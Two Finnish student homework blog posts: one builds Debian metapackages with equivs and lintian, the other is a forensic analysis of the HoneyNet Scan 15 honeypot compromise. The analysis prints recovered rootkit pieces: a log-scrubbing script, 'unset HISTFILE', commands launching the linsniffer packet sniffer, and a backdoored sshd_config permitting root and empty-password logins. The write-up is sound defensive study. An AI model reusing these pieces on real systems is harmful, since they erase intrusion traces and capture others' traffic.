Arkistot kuukauden mukaan: helmikuu 2014

16.2.2014
2 kommenttia
Ei kategoriaa

Linux kotitehtävä 4

Tämän viikon tehtävänantoon kuuluukin metapaketit ja niiden käsittely sekä kasaus.

Tehtävänanto kokonaisuudessaan:

h4:

– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.

– Tee pakettivarasto repreprolla

– Paketoi jokin skriptisi, niin että paketti asentaa järjestelmän käyttäjille uuden käskyn

Vapaaehtoiset bonus-tehtävät:

– Kertaa Apachen asennus, käyttäjien kotisivujen teko ja lokin lukeminen

– Allekirjoita reprerolla tekemäsi varasto

Klo 13.30 Su

Metapaketin teko.

Ensitöikseni suoritin perinteiset toimenpiteet, eli päivitykset Ubuntuun kasaan ennen kaikkea muuta.

$ sudo apt-get update

$ sudo apt-get upgrade

Ja näin päivitykset kasassa. Koska en muistanut ulkoa miten metapaketti luodaan, seurasin T.Karvisen ohjetta nopeaan metapakettien luomiseen (http://terokarvinen.com/2011/create-deb-metapackage-in-5-minutes).

Tämän jälkeen seurasin ohjetta vaihe vaiheelta, luonnollisestikkin tähänkin matkaan mahtui virheitä mukaan mutta se kuuluu selkeästi asiaan kun asiaan meikäläisen säätäessä. Tämän jälkeen vuorossa oli equivs:in asennus komennolla:

$ sudo apt-get -y install equivs

Tämän jälkeen loin lähdetiedoston, jonka nimesin vastaavasti:

$ equivs-control kristiinas-ipknow.cfg

Tämän jälkeen avasin cfg tiedoston nanolla ja muokkasin ohjeen mukaan kohdat ”Package”, “Version” and “Depends”. Muistin jopa poistaa risuaidat muokattujen osuuksien edestä.

$ nano kristiinas-ipknow.cfg

Joka näyttää muokkauksen jälkeen tältä


Section: misc

Priority: optional

Standards-Version: 3.6.2

Package: kristiinas-ipknow

Version: 0.1

Depends: geoip-bin, gparted, nethack-console, gimp

Description:

long description and info

.

second paragraph

Lisäsin esimerkissä olleille paketeilla pari kaveria, nethackia on rummutettu kotona sen verran että täytyneen kokeilla sitäkin tässä kurssin ohella. Hyvä tekosyy siis asennella se mukaan.

Tämän jälkeen oli vuorossa paketin rakentaminen komennolla:

$ equivs-build kristiinas-ipknow.cfg

Uusi paketti on luotu. Tämän jälkeen testasin vielä että paketti varmasti toimii, komennolla:

$ sudo gdebi -n kristiinas-ipknow_0.1_all.deb

Huomasin ettei asennuksessa löytynyt gdebiä, joten edessä oli sen asentaminen.Ohjeessa tätä ei siis ollut, siksi tämä oli jäänyt huomiotta.

$ sudo apt-get install gdebi

Testasin uudelleen mutta Valitettavasti paukahti gdebi erroria edelleenkin ”gdebi error, file not found: kristiinas-ipknow_0.1_all.deb”, jonka mukaan tiedostoa ei löydy, vaikka sen juuri nanolla tsekkasin. Hetken pähkäilyn jälkeen kokeilin muuttaa komentoa hieman:

$ sudo gdebi -n kristiinas-ipknow.cfg_0.1_all.deb

Tämän pienen muutoksen jälkeen paketin testaus onnistui, tämä osoittaa sen että ohjeita seuraamalla silti tulee yllätyksiä tuon tuosta. Jostakin syystä ohjeiden esimerkissä tuo .cfg pääte puuttui komentoketjusta ja tästä syystä se ei ainakaan itsellä toiminut.

Seuraavaksi vuorossa oli katsastaa että miten tämä saataisiin menemään läpi lintianista, eli ensitöikseni vuorossa sen asentaminen:

$ sudo apt-get install lintian

Jonka jälkeen ajoin paketin lintianista läpi.

$ lintian kristiinas-metapaketti.cfg_0.1_all.deb

Lintian ilmoitti ensitöikseen että sähköposti ei ole validi eikä ylläpito-osoite. Eli uudelleen vaan nanottamalla pakettia auki ja korjaamaan virheitä.

 

Maintainer: Your Name <yourname@example.com> -> Kristiina Honkaheimo <kristiina.honkaheimo@myy.haaga-helia.fi>

Tämän jälkeen päivitin versionumeron nanolla

$ nano kristiinas-metapaketti.cfg_0.1_all.deb

Muutin versionumeron 0.1-> 0.2 ja tallensin muutokset. Tänäm jälkeen tein paketin uudelleen.

$ equivs-build kristiinas-metapaketti.cfg

Joka ilmoitti paketin luomisesta.

Tämän jälkeen testasin paketin toimivuuden

$ sudo gdebi -n kristiinas-ipknow.cfg_0.2_all.deb

Joka sitten ilmoitti korvaavansa vanhan version paketista uudella.

Tässä kohtaa nauroin lähinnä omille väsyneille aivoille, koska paketin uudelleen luominen oli täysin turha vaihe, en tiedä mikä aivopieru tuossa tapahtui mutta poistin ylimääräisen paketin kokonaan ettei se jäisi hämäämään minua.

$ rm kristiinas-metapaketti.cfg

Kaiken tämän jälkeen ajoin paketin lintianista läpi ja heittämällähän se menikin tällä kertaa.

$ lintian kristiinas-metapaketti.cfg_0.2_all.deb

Paketoi jokin skriptisi, niin että paketti asentaa järjestelmän käyttäjille uuden käskyn.

Skriptin teko, paketointi ja uuden komennon asentaminen sillä.

Koska tässä taloudessa kissat ovat valtiaita ja ihmiset palvelijoita, teen tämän skriptin tätä ajatusta kunnioittaen. Komentoa seuraa:

$ gedit meow_script

Jonka jälkeen lisäsin tekstitiedostoon nämä tiedot:

 

#!/bin/bash

# My meow script


echo ”Meow!”

Tallensin ja suljin tiedoston. Tämän jälkeen oli vuorossa ajo-oikeuden asettaminen skriptille komennolla:

$ chmod 755 meow_script

Tämän jälkeen testasin skriptiä ajamalla sen

$./meow_script

Ja komentavaa naukunaahan sieltä tuli!

Seuraavaksi vuorossa oli skriptin paketointi, joka meni malliin tämä:

$ equivs-control meow_script

Tuli paljon erroreita:

 

dh_testdir

dh_testroot

dh_prep

dh_testdir

dh_testroot

dh_install

dh_installdocs

dh_installchangelogs

parsechangelog/debian: warning:     debian/changelog(l1): badly formatted heading line

LINE: meow_script.cfg (0.1) unstable; urgency=low

parsechangelog/debian: warning:     debian/changelog(l2): found blank line where expected first heading

parsechangelog/debian: warning:     debian/changelog(l3): found change data where expected first heading

LINE:   * First version

parsechangelog/debian: error: Can’t call method ”as_string” on an undefined value at /usr/share/perl5/Dpkg/Changelog.pm line 250, <STDIN> line 5.

dpkg-parsechangelog: error: changelog parser /usr/lib/dpkg/parsechangelog/debian gave error exit status 255

dh_installchangelogs: changelog parse failure

make: *** [binary-indep] Error 255

Error in the build process: exit status 2

Kokeilin cfg. tiedoston muokkaamista ja korjaamista, lopulta lätkäisin alla olevan näköiset tiedot sinne:

 

Section: misc

Priority: optional

Standards-Version: 3.9.2

Maintainer: Kristiina H <kristiinaH@email.com>

Package: meow_script

Version: 0.1

Files: meow_script /usr/bin/

Description: Prints text

.

Shell script which outputs a text string

 

Ongelmista johtuen poistin kaikki ns. turhat kommentit tiedostosta, mutta silti samat errorit tulvivat ruutuun ja en vaan päässyt jyvälle että mistä kiikastaa…

Päätin tässä vaiheessa nakata tämän osuuden hetkeksi jäähylle ja siirtyä valinnaisiin tehtäviin.

Tee pakettivarasto repreprolla.

Allekirjoita reprerolla tekemäsi varasto

Tämäkin toimepide alkaa yksinkertaisesti reprepron lataamisella ja asennuksella

$ sudo apt-get install reprepro

Klo 19.00

Tähän vaiheeseen on pakko lopettaa ja jatkan tehtävää myöhemmin. Artikkeli on siis julkaistu keskeneräisenä, mutta sitä täydennetään myöhemmin.

 

24.2 Ma klo 13.30

Hiihtoloman jälkeen näkee kuin näkeekin asiat uusin silmin, sääli ettei aikaa korjauksiin ole juurikaan. Noh sen siitä saa kun joutuu tienpäälle viikoksi.

 

Ajatusvirhe tapahtui paketin luomisen kanssa, komento ”$ equivs-control meow_script” vaan ylikirjoittaa ko. tiedoston eikä tee pakettia ollenkaan. Eipä siis ole ihme ettei homma toiminut. Loin kokonaan uuden conffin equivs-controllilla, muokkasin sisällöt uudelleen ja tämän kaiken jälkeen ajoin sen vielä läpi lintianista. Eli versionumero oikeaksi (0.2) omistaja kristiinaH <kristiinah@email.com> ja Files: meow_script /usr/bin. Tämän jälkeen paketin päivitys/uudelleen luonti

$equivs-build meow.cfg

Läpi lintianista:

$ lintian meow_0.2_all.deb

Lintian antoi varoituksen manpagen puuttumisesta, mutta se oli vain varoitus.

Seuraavana olisi vuorossa se reprepro mutta asennusta enempää en kerennyt siihen koskemaan, koska alkaakin olla jo aika liikkua Linux palvelimena oppintunneille.

 

Lähteet:

9.2.2014
Jätä kommentti
Ei kategoriaa

Rootkittia mä metsästän… Tahdon saada suuren.

Tämän viikon tehtävän anto kuuluu:

”h3: a) Ratkaise HoneyNet Scan of the Month 15.

b) Selitä omin sanoin tiiviisti valitsemasi hyökkäys OWASP Top 10 -listalta. Pelkkä sanallinen kuvaus riittää, tässä OWASP alakohdassa ei tarvitse tehdä mitään kokeiluja.

ps. Käsittele haittaohjelmia sisältäviä levykuvia huolellisesti, älä laita niitä tuotantokoneille äläkä aja niiltä löytyviä ohjelmia. Noudata hyviä tapoja ja lakeja, älä hyökkää kenenkään koneisiin. Katso myös http://terokarvinen.com/2013/forensic-file-recovery-with-linux

ps2. Jos on vaikea valita tutustuttava hyökkäys, tutustu SQL injektioon.”

The Challenge:

On 15 March. 2001, a Linux honeypot was successfully compromised, a rootkit was download to the / partition and then deleted from the system. Your mission is to find and recover the deleted rootkit. If you are not sure where to begin on conducting this forensic analysis and recover the rootkit, we highly recommend you start with the Forensic Challenge. The steps you will have to follow for the rootkit recovery are similar to the steps discussed there. We have posted only the / partition for download to keep this challenge simple. The compressed image is 13MB, (honeynet.tar.gz) MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and unzipped the partition image, it will be 255 MB and the checksum should be MD5=5a8ebf5725b15e563c825be85f2f852e.

  1. Show step by step how you identify and recover the deleted rootkit from the / partition.

  2. What files make up the deleted rootkit?

Bonus Question:

Was the rootkit ever actually installed on the system? How do you know?”

Klo 18.30 Ti

Aloitin hommat aluksi ihan sillä että latasin tehtävään tarvittavan tiedoston HoneyNetin sivulta http://old.honeynet.org/scans/scan15/ tiedoston honeynet.tar.gz.

Latasin tiedoston poikkeuksellisesti graafiselta puolelta ja extractoin sen tämän jälkeen, tämä onnistui ihan vain klikkaamalla tiedosto linkkiä HoneyNetin sivuilta, jolloin aukesi graafinen tiedoston latausohjelma ja josta asensin ja purin tiedoston kotihakemistoon Virtual Box Ubuntussa. Tätä ennen tosin kyllä päivitin Ubuntun paketit ja asentelin päivitykset $ apt-get update ja tämän jälkeen $ apt-get upgrade

Näiden vaiheiden jälkeen mounttasin honeynet tiedoston komennolla $ sudo mount -o loop honeypot.hda8.dd /mnt ja koska olin kotihakemistossa siirryin suoraan $ cd mnt hakemistoon ja $ ls -l jälkeen silmäilin hakemistoja olivat honeypotin sisällä.Siirryinn ensimmäiseksi tarkkailemaan /tmp hakemiston install.logia. Selatessa lokia ainoa joka pisti silmään oli Installing ElectricFence merkintä. Pienen googlettelun jälkeen pohdimme yhdessä tutorini kanssa olisiko ElectricFenceä käytetty mahdollisesti rootkitin löytämiseen tai onko sitä mahdollisesti käytetty rootkitin toimesta reikien tai virheiden etsimiseen jolla koneen haavoittuvuuksia voisi tutkia. Jätimme pohdinnan kuitenkin tähän ja siirryin eteenpäin tiedostojen tutkimisessa.

Siirryin tämän jälkeen bin hakemistoon ja komennolla $ ls -s -lt pistin tiedostot aikajärjestykseen. Ainot jotka sieltä pistävät silmään ovat kaksi ensimmäistä maali (35300 maali 16  2001 netstat, 33280 maali 16  2001 ps), pysähdyin miettimään tässä että ovatko nuo aiemmin mainitut niitä joita rootkit on muokannut, vai ovatko kaikki nuo maalis 15 tiedostot niitä joita rootkit on muokannut ja maalis 16 sitten niitä joilla on rootkit korvattu.

Todettuani että yksittäinen selaaminen on työlästä, asensin autopsyn komentorivin kautta $ sudo apt-get install autopsy. Asennettuani sen käynnistin sen selaimessa ja suoritin sen pyytämät toimenpiteet kuten tutkimuksen alla olevan tapauksen nimi ja tutkijoiden nimet, sekä imagen laittaminen siihen selaimen kautta. Tämän jälkeen aloin selaamaan tiedostoja autopsyn kautta, etsien merkkejä ”omituisuuksista”. Ensi töikseni selasin poistetuiksi merkityt tiedostot lk.tgz ja last/ mutta tiedostojen sisältö olisi pitänyt purkaa jotta sitä voisi lukea, jatkoin eteenpäin toistaiseksi. Sen sijaan siirryin listan ensimmäisiin tiedostoihin, kun olin ryhmitellyt ne päivämäärän mukaan. Rupesin selaamaan $OrphanFiles/ ja sen alla olevista tiedostoista numerosta OrphanFile-2043 löytyikin jotain hieman outoa. En kovin hyvin ymmärrä ehtoja basheissa tms, mutta tästä tekstin pätkästä kyllä kävi selväksi se että viimeisimmät lokit muutetaan ja poistetaan tässä kohtaan.

Contents Of File: /1/$OrphanFiles/OrphanFile-2043

WERD=$(/bin/ls -F /var/log | grep -v ”/” | grep -v ”*” | grep -v ”.tgz” | grep -v ”.gz” | grep -v ”.tar” | grep -v ”lastlog” | grep -v ”utmp” | grep -v ”wtmp” | grep -v ”@”)

for fil in $WERD

do

line=$(wc -l /var/log/$fil | awk -F ’ ’ ’{print $1}’)

echo -n ”${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}…${RES}”

grep -v $1 /var/log/$fil > new

touch -r /var/log/$fil new

mv -f new /var/log/$fil

newline=$(wc -l /var/log/$fil | awk -F ’ ’ ’{print $1}’)

let linedel=$(($line-$newline))

echo ”${WHI}$linedel ${DWHI}lines removed!${RES}”

done

killall -HUP syslogd

echo ”${BLK}* ${DWHI}Alles sauber mein Meister !’Q%&@$! ${RES}”

Kuten tästä viimeisestä echosta voi päätellä, en usko että ”Kaikki puhdistettu herrani!” saksaksi kuuluu normaalisti mihinkään Linuxin tiedostoihin tai lokien. Tässä kohtaa uskaltaisin sanoa rootkitin lähinnä siivonneen jälkiään. jatkoin Orphanin tiedostojen setvimistä ja löysin sellaisen jonka ensimmäisen

#!/bin/sh clear unset HISTFILE kommentin jälkeen uskalsin todeta että mieron tieltä on nämä tiedot tulleet. Btw. on muuten hillintö nakella joitakin lauseita tuolta google translateen; ”Instalarea Rootkitului A Pornit La Drum – Asentaminen Rootkitului lähteä reissuun” Marvelous!

Kello lähenee puolta 9 illalla, joten hyvä aika lopetella ja siirtyä saunomaan.

Ke 5.2 klo 18

Seuraava outous tuli eteen tiedostossa OrphanFile-2059,

Contents Of File: /1/$OrphanFiles/OrphanFile-2059

killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

En ole erityisen perehtynyt haittaohjelmiin mutta jostain syystä linsniffer osui heti silmiini epäilyttävänä. Googlettelin hetken ja löysin tämän quoten: “linsniffer is an ethernet sniffer. It sits and listens on a network and grabs every packet it sees. This is why ssh is a good thing…” –Doug Elznic

Eli selkeästi: Ei hyvä homma!

Tässä vaiheessa kuitenkin löi seinä vastaan ja en onnistunut löytämään silmin mitään epäilyttävää tiedostoista tämän jälkeen. Päätin opettajan neuvosta ottaa vaarin ja hieman avittaa itseäni eteenpäin. Ilmeisesti ainakin honeynetin mallivastaukseksi nostetussa tapauksessa tekijä Brian Carrier käytti useampaakin työkalua etsiessään rootkittiä. Pyörittelin tätä hetken aikaa ja lopulta palasin suosiolla takaisin autopsyn pariin. Tutor vinkkasi korvan takaa että jos katsoisin uudelleen poistettuja tiedostoja autopsysta, joten siirryin suosiolla sinne. Poistettujen tiedostojen joukosta löytyi jo aiemmin epäilyttävä löytämäni tiedostot sekä muutamat lisää. Muun muassa alla olevassa orphan tiedostossa löytyy vaihteeksi Romaniaksi tekstiä, jossa raa’asti käännettynä kerrotaan rootkitin asentamisesta.

unset HISTFILE
echo    ”********* Instalarea Rootkitului A Pornit La Drum *********”
echo    ”********* Mircea SUGI PULA ********************************”
echo    ”********* Multumiri La Toti Care M-Au Ajutat **************”
echo    ”********* Lemme Give You A Tip : **************************”
echo    ”********* Ignore everything, call your freedom ************”
echo    ”********* Scream & swear as much as you can ***************”
echo    ”********* Cuz anyway nobody will hear you and no one will *”
echo    ”********* Care about you **********************************”

Yllä oleva maalaa melko selkeän kuvan siitä mitä tapahtuu tai tapahtui ja sen aiheuttamasta ylimielisyydestä.

Myös jälleen linsniffer pisti silmään tästä 1/$OrphanFiles/OrphanFile-2045 tiedostosta;

Contents Of File: /1/$OrphanFiles/OrphanFile-2045

!/bin/sh

cd /dev/ida/.drag-on

./mkxfs -f ./s

./linsniffer >> ./tcp.log &

cd /

Tämän jälkeen siirryin hakemistoon /1/lk.tgz jonka purettuani autopsyn kautta suoraan, sisältä löytyi melkoisesti epäilyttävän näköisiä tiedostoja saksankielisine herjoineen ja siivous hurraa huutoineen. Käytännössä täältä löytyi rootkitin asennushakemisto. Kaikesta päätellen rootkit on asentunut 3 maaliskuuta 2001. Täältä myös sshd_configista löytyi porttien kuuntelua, root oikeuksien jakamista ja muuta mukavaa.

Port 22

ListenAddress 0.0.0.0

HostKey /dev/ida/.drag-on/

RandomSeed /dev/ida/.drag-on/

ServerKeyBits 768

LoginGraceTime 600

KeyRegenerationInterval 3600

PermitRootLogin yes

IgnoreRhosts no

StrictModes yes

QuietMode no

X11Forwarding yes

X11DisplayOffset 10

FascistLogging no

PrintMotd yes

KeepAlive yes

SyslogFacility DAEMON

RhostsAuthentication no

RhostsRSAAuthentication yes

RSAAuthentication yes

PasswordAuthentication yes

PermitEmptyPasswords yes

UseLogin no

# CheckMail no

PidFile /dev/ida/.drag-on/pidfile

# AllowHosts *.our.com friend.other.com

# DenyHosts lowsecurity.theirs.com *.evil.org evil.org

# Umask 022

# SilentDeny yes

Yritin etsiä alkuperäistä sshd_configia, mutta en onnistunut sitä kaivelun jälkeen löytämään. Teoriani siis on että rootkit korvasi alkuperäisen omallaan, muutosten kera. Toinen teoria on että olen vain puusilmä.

Rootkitin asennuksen palauttaminen ei periaatteessa muuta vaatinut kuin tuon /1/lk.tgz hakemiston exporttaamisen, josta löytyi ns. kaikki tarvittava. Taitoni eivät olleet kyllä mitenkään tehtävän tasolla, mutta semmoista se on joskus. Täytyneen selkeästi perehtyä enemmän haittaohjelmien maailmaan.

Näihin tunnelmiin jää tämä osuus, seuraavaksi toinen osa tehtävästä.

Klo 20.40

b) Selitä omin sanoin tiiviisti valitsemasi hyökkäys OWASP Top 10 -listalta. Pelkkä sanallinen kuvaus riittää, tässä OWASP alakohdassa ei tarvitse tehdä mitään kokeiluja.

Sql injektio toimii käytännössä niin, että esimerkiksi nettilomakkeeseen jossa kysytään yhteystietoja tallennettavaksi sivustolle, kirjoitatkin sql komennon joka esimerkiksi poistaa kaikki nimi-taulun tiedot. Tai sitten kopioi tietoja, joka voi vahingoittaa yritystä merkittävästi. Esimerkiksi asiakkaiden sähköpostien tai puhelinnumeroiden, luottokorttinumeroista puhumattakaan, vuotaminen ulkopuolisille harvemmin tuo yritykselle hyvää mainetta tai lisää asiakkaita. Käytännössä hyökkääjä käyttää sivuston tietoturva reikää hyväkseen, injektoidakseen sinne haluamaansa dataa, joko tuhoamalla, kopioimalla tai muuttamalla tietokannassa olevia tietoja. Tietoturva-aukon hyväksikäyttäminen on hyvinkin helppoa ja sen havaitseminen testauksessa voi olla hyvinkin hankalaa. On kuitenkin skannereita ja ohjelmia olemassa, joiden avulla voi havaita tämän kaltaisia tietoturvariskejä hyvissä ajoin.

Mitä SQL-injektioon tulee, niin tämä tuli heti ensimmäisenä esimerkkinä mieleen. 😀 Enjoy!

Exploits of a Mom

http://xkcd.com/327/

Lähteet: